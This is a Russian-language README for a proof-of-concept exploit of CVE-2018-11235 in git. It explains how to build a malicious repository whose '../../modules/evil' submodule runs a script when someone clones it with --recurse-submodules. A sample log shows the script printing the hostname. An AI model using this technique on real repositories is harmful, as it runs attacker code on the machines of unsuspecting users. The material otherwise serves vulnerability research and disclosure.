
PoC-эксплойт для CVE-2018-11235, позволяющий удалённое выполнение кода (RCE) при git clone --recurse-submodules
GitHub не позволяет мне отправить репозиторий, использующий уязвимость (хорошо с их стороны), так что вам придётся собрать его самостоятельно, запустив скрипт build.sh.
Затем отправьте репозиторий куда-нибудь. Когда вы клонируете его с флагом --recurse-submodules, выполняется зловредный скрипт:
$ git clone --recurse-submodules repo dest_dir
Cloning into 'dest_dir'...
done.
Submodule 'Spoon-Knife' (https://github.com/octocat/Spoon-Knife) registered for path 'Spoon-Knife'
Submodule '../../modules/evil' (https://github.com/octocat/Spoon-Knife) registered for path 'evil'
Cloning into '/snip/dest_dir/Spoon-Knife'...
Submodule path 'Spoon-Knife': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
Here is your hostname: snip
Submodule path 'evil': checked out 'd0dd1f61b33d64e29d8bc1372a94ef6a2fee76a9'
Код основан на git patch от @peff (смотрите тестовый файл t/t7415-submodule-names.sh).
Соответственно, этот репозиторий опубликован под лицензией GNU General Public License версии 2.
Дополнительное исправление для старых версий git предоставлено @atorralba (подробности в этом посте).